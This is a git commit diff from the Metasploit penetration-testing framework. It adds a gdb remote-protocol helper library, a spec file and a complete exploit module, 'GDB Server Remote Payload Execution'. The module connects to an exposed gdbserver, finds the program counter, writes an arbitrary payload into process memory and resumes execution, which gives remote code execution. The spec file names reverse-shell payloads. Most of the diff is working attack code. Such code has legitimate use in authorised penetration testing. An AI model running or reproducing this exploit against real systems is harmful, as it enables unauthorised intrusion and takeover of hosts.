Land #3691, gdbserver hax
commit
ae5a8f449c
|
@ -404,6 +404,15 @@ class EncodedPayload
|
||||||
Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts)
|
Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# An array containing the architecture(s) that this payload was made to run on
|
||||||
|
#
|
||||||
|
def arch
|
||||||
|
if pinst
|
||||||
|
pinst.arch
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# The raw version of the payload
|
# The raw version of the payload
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,190 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/exploit/tcp'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
#
|
||||||
|
# Implement some helpers for communicating with a remote gdb instance.
|
||||||
|
#
|
||||||
|
# More info on the gdb protocol can be found here:
|
||||||
|
# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Overview
|
||||||
|
#
|
||||||
|
|
||||||
|
module Exploit::Remote::Gdb
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
# thrown when an expected ACK packet is never received
|
||||||
|
class BadAckError < RuntimeError; end
|
||||||
|
|
||||||
|
# thrown when a response is incorrect
|
||||||
|
class BadResponseError < RuntimeError; end
|
||||||
|
|
||||||
|
# thrown when a checksum is invalid
|
||||||
|
class BadChecksumError < RuntimeError; end
|
||||||
|
|
||||||
|
# Default list of supported GDB features to send the to the target
|
||||||
|
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
|
||||||
|
|
||||||
|
# Maps index of register in GDB that holds $PC to architecture
|
||||||
|
PC_REGISTERS = {
|
||||||
|
'08' => ARCH_X86,
|
||||||
|
'10' => ARCH_X86_64
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send an ACK packet
|
||||||
|
def send_ack
|
||||||
|
sock.put('+')
|
||||||
|
vprint_status('Sending ack...')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Reads an ACK packet from the wire
|
||||||
|
# @raise [BadAckError] if a bad ACK is received
|
||||||
|
def read_ack
|
||||||
|
unless sock.get_once(1) == '+'
|
||||||
|
raise BadAckError
|
||||||
|
end
|
||||||
|
vprint_status('Received ack...')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a command and receives an ACK from the remote.
|
||||||
|
# @param cmd [String] the gdb command to run. The command is will be
|
||||||
|
# wrapped '$' prefix and checksum.
|
||||||
|
def send_cmd(cmd)
|
||||||
|
full_cmd = '$' + cmd + '#' + checksum(cmd)
|
||||||
|
vprint_status('Sending cmd: '+full_cmd)
|
||||||
|
sock.put(full_cmd)
|
||||||
|
read_ack
|
||||||
|
end
|
||||||
|
|
||||||
|
# Reads (and possibly decodes) from the socket and sends an ACK to verify receipt
|
||||||
|
# @param opts [Hash] the options hash
|
||||||
|
# @option opts :decode [Boolean] rle decoding should be applied to the response
|
||||||
|
# @option opts :verify [Boolean] verify the response's checksum
|
||||||
|
# @return [String] the response
|
||||||
|
# @raise [BadResponseError] if the expected response is missing
|
||||||
|
# @raise [BadChecksumError] if the checksum is invalid
|
||||||
|
def read_response(opts={})
|
||||||
|
decode, verify = opts.fetch(:decode, false), opts.fetch(:verify, true)
|
||||||
|
res = sock.get_once
|
||||||
|
raise BadResponseError if res.nil?
|
||||||
|
raise BadChecksumError if (verify && !verify_checksum(res))
|
||||||
|
res = decode_rle(res) if decode
|
||||||
|
vprint_status('Result: '+res)
|
||||||
|
send_ack
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
# Implements decoding of gdbserver's Run-Length-Encoding that is applied
|
||||||
|
# on some hex values to collapse repeated characters.
|
||||||
|
#
|
||||||
|
# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Binary-Data
|
||||||
|
#
|
||||||
|
# @param msg [String] the message to decode
|
||||||
|
# @return [String] the decoded result
|
||||||
|
def decode_rle(msg)
|
||||||
|
vprint_status "Before decoding: #{msg}"
|
||||||
|
msg.gsub /.\*./ do |match|
|
||||||
|
match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# The two-digit checksum is computed as the modulo 256 sum of all characters
|
||||||
|
# between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum).
|
||||||
|
# @param str [String] the string to calculate the checksum of
|
||||||
|
# @return [String] hex string containing checksum
|
||||||
|
def checksum(str)
|
||||||
|
"%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 }
|
||||||
|
end
|
||||||
|
|
||||||
|
# Verifies a response's checksum
|
||||||
|
# @param res [String] the response to check
|
||||||
|
# @return [Boolean] whether the checksum is valid
|
||||||
|
def verify_checksum(res)
|
||||||
|
msg, chksum = res.match(/^\$(.*)#(\h{2})$/)[1..2]
|
||||||
|
checksum(msg) == chksum
|
||||||
|
end
|
||||||
|
|
||||||
|
# Writes the buffer +buf+ to the address +addr+ in the remote process's memory
|
||||||
|
# @param buf [String] the buffer to write
|
||||||
|
# @param addr [String] the hex-encoded address to write to
|
||||||
|
def write(buf, addr)
|
||||||
|
hex = Rex::Text.to_hex(buf, '')
|
||||||
|
send_cmd "M#{addr},#{buf.length.to_s(16)}:#{hex}"
|
||||||
|
read_response
|
||||||
|
end
|
||||||
|
|
||||||
|
# Steps execution and finds $PC pointer and architecture
|
||||||
|
# @return [Hash] with :arch and :pc keys containing architecture and PC pointer
|
||||||
|
# @raise [BadResponseError] if necessary data is missing
|
||||||
|
def process_info
|
||||||
|
data = step
|
||||||
|
pc_data = data.split(';')[2]
|
||||||
|
raise BadResponseError if pc_data.nil?
|
||||||
|
pc_data = pc_data.split(':')
|
||||||
|
my_arch = PC_REGISTERS[pc_data[0]]
|
||||||
|
pc = pc_data[1]
|
||||||
|
|
||||||
|
if my_arch.nil?
|
||||||
|
raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}"
|
||||||
|
end
|
||||||
|
|
||||||
|
{
|
||||||
|
arch: my_arch,
|
||||||
|
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''),
|
||||||
|
pc_raw: Integer(pc, 16)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Continues execution of the remote process
|
||||||
|
# @param opts [Hash] the options hash
|
||||||
|
# @option opts :read [Boolean] read the response
|
||||||
|
def continue(opts={})
|
||||||
|
send_cmd 'vCont;c'
|
||||||
|
read_response if opts.fetch(:read, true)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Detaches from the remote process
|
||||||
|
# @param opts [Hash] the options hash
|
||||||
|
# @option opts :read [Boolean] read the response
|
||||||
|
def detach(opts={})
|
||||||
|
send_cmd 'D'
|
||||||
|
read_response if opts.fetch(:read, true)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Executes one instruction on the remote process
|
||||||
|
#
|
||||||
|
# The results of running "step" will look like:
|
||||||
|
# x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53
|
||||||
|
# x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df
|
||||||
|
# The third comma-separated field will contain EIP, and the register index
|
||||||
|
# will let us deduce the remote architecture (through PC_REGISTERS lookup)
|
||||||
|
#
|
||||||
|
# @return [String] a list of key/value pairs, including current PC
|
||||||
|
def step
|
||||||
|
send_cmd 'vCont;s'
|
||||||
|
read_response(decode: true)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run(filename)
|
||||||
|
send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}"
|
||||||
|
read_response
|
||||||
|
end
|
||||||
|
|
||||||
|
def enable_extended_mode
|
||||||
|
send_cmd("!")
|
||||||
|
read_response
|
||||||
|
end
|
||||||
|
|
||||||
|
# Performs a handshake packet exchange
|
||||||
|
# @param features [String] the list of supported features to tell the remote
|
||||||
|
# host that the client supports (defaults to +DEFAULT_GDB_FEATURES+)
|
||||||
|
def handshake(features=GDB_FEATURES)
|
||||||
|
send_cmd features
|
||||||
|
read_response # lots of flags, nothing interesting
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -47,6 +47,7 @@ require 'msf/core/exploit/snmp'
|
||||||
require 'msf/core/exploit/arkeia'
|
require 'msf/core/exploit/arkeia'
|
||||||
require 'msf/core/exploit/ndmp'
|
require 'msf/core/exploit/ndmp'
|
||||||
require 'msf/core/exploit/imap'
|
require 'msf/core/exploit/imap'
|
||||||
|
require 'msf/core/exploit/gdb'
|
||||||
require 'msf/core/exploit/smtp_deliver'
|
require 'msf/core/exploit/smtp_deliver'
|
||||||
require 'msf/core/exploit/pop2'
|
require 'msf/core/exploit/pop2'
|
||||||
require 'msf/core/exploit/tns'
|
require 'msf/core/exploit/tns'
|
||||||
|
|
|
@ -48,7 +48,7 @@ module Arch
|
||||||
case arch
|
case arch
|
||||||
when ARCH_X86
|
when ARCH_X86
|
||||||
[addr].pack('V')
|
[addr].pack('V')
|
||||||
when ARCH_X86_64
|
when ARCH_X86_64, ARCH_X64
|
||||||
[addr].pack('Q<')
|
[addr].pack('Q<')
|
||||||
when ARCH_MIPS # ambiguous
|
when ARCH_MIPS # ambiguous
|
||||||
[addr].pack('N')
|
[addr].pack('N')
|
||||||
|
|
|
@ -0,0 +1,79 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Gdb
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'GDB Server Remote Payload Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to execute an arbitrary payload on a gdbserver service.
|
||||||
|
},
|
||||||
|
'Author' => [ 'joev' ],
|
||||||
|
'Targets' => [
|
||||||
|
[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]
|
||||||
|
],
|
||||||
|
'Platform' => %w(linux unix osx),
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'PrependFork' => true
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('EXE_FILE', [
|
||||||
|
false,
|
||||||
|
"The exe to spawn when gdbserver is not attached to a process.",
|
||||||
|
'/bin/true'
|
||||||
|
])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
print_status "Performing handshake with gdbserver..."
|
||||||
|
handshake
|
||||||
|
|
||||||
|
enable_extended_mode
|
||||||
|
|
||||||
|
begin
|
||||||
|
print_status "Stepping program to find PC..."
|
||||||
|
gdb_data = process_info
|
||||||
|
rescue BadAckError, BadResponseError
|
||||||
|
# gdbserver is running with the --multi flag and is not currently
|
||||||
|
# attached to any process. let's attach to /bin/true or something.
|
||||||
|
print_status "No process loaded, attempting to load /bin/true..."
|
||||||
|
run(datastore['EXE_FILE'])
|
||||||
|
gdb_data = process_info
|
||||||
|
end
|
||||||
|
|
||||||
|
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
|
||||||
|
|
||||||
|
unless payload.arch.include? gdb_arch
|
||||||
|
fail_with(
|
||||||
|
Msf::Exploit::Failure::BadConfig,
|
||||||
|
"The payload architecture is incorrect: "+
|
||||||
|
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status "Writing payload at #{gdb_pc}..."
|
||||||
|
write(payload.encoded, gdb_pc)
|
||||||
|
|
||||||
|
print_status "Executing the payload..."
|
||||||
|
continue
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,55 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'msf/core/encoded_payload'
|
||||||
|
|
||||||
|
describe Msf::EncodedPayload do
|
||||||
|
PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create(
|
||||||
|
:module_types => [::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP],
|
||||||
|
'DisableDatabase' => true,
|
||||||
|
'DisableLogging' => true
|
||||||
|
)
|
||||||
|
|
||||||
|
let(:framework) { PAYLOAD_FRAMEWORK }
|
||||||
|
let(:payload) { 'linux/x86/shell_reverse_tcp' }
|
||||||
|
let(:pinst) { framework.payloads.create(payload) }
|
||||||
|
|
||||||
|
subject(:encoded_payload) do
|
||||||
|
described_class.new(framework, pinst, {})
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'is an Msf::EncodedPayload' do
|
||||||
|
expect(encoded_payload).to be_a(described_class)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '.create' do
|
||||||
|
|
||||||
|
context 'when passed a valid payload instance' do
|
||||||
|
|
||||||
|
# don't ever actually generate payload bytes
|
||||||
|
before { described_class.any_instance.stub(:generate) }
|
||||||
|
|
||||||
|
it 'returns an Msf::EncodedPayload instance' do
|
||||||
|
expect(described_class.create(pinst)).to be_a(described_class)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#arch' do
|
||||||
|
context 'when payload is linux/x86 reverse tcp' do
|
||||||
|
let(:payload) { 'linux/x86/shell_reverse_tcp' }
|
||||||
|
|
||||||
|
it 'returns ["X86"]' do
|
||||||
|
expect(encoded_payload.arch).to eq [ARCH_X86]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when payload is linux/x64 reverse tcp' do
|
||||||
|
let(:payload) { 'linux/x64/shell_reverse_tcp' }
|
||||||
|
|
||||||
|
it 'returns ["X86_64"]' do
|
||||||
|
expect(encoded_payload.arch).to eq [ARCH_X86_64]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue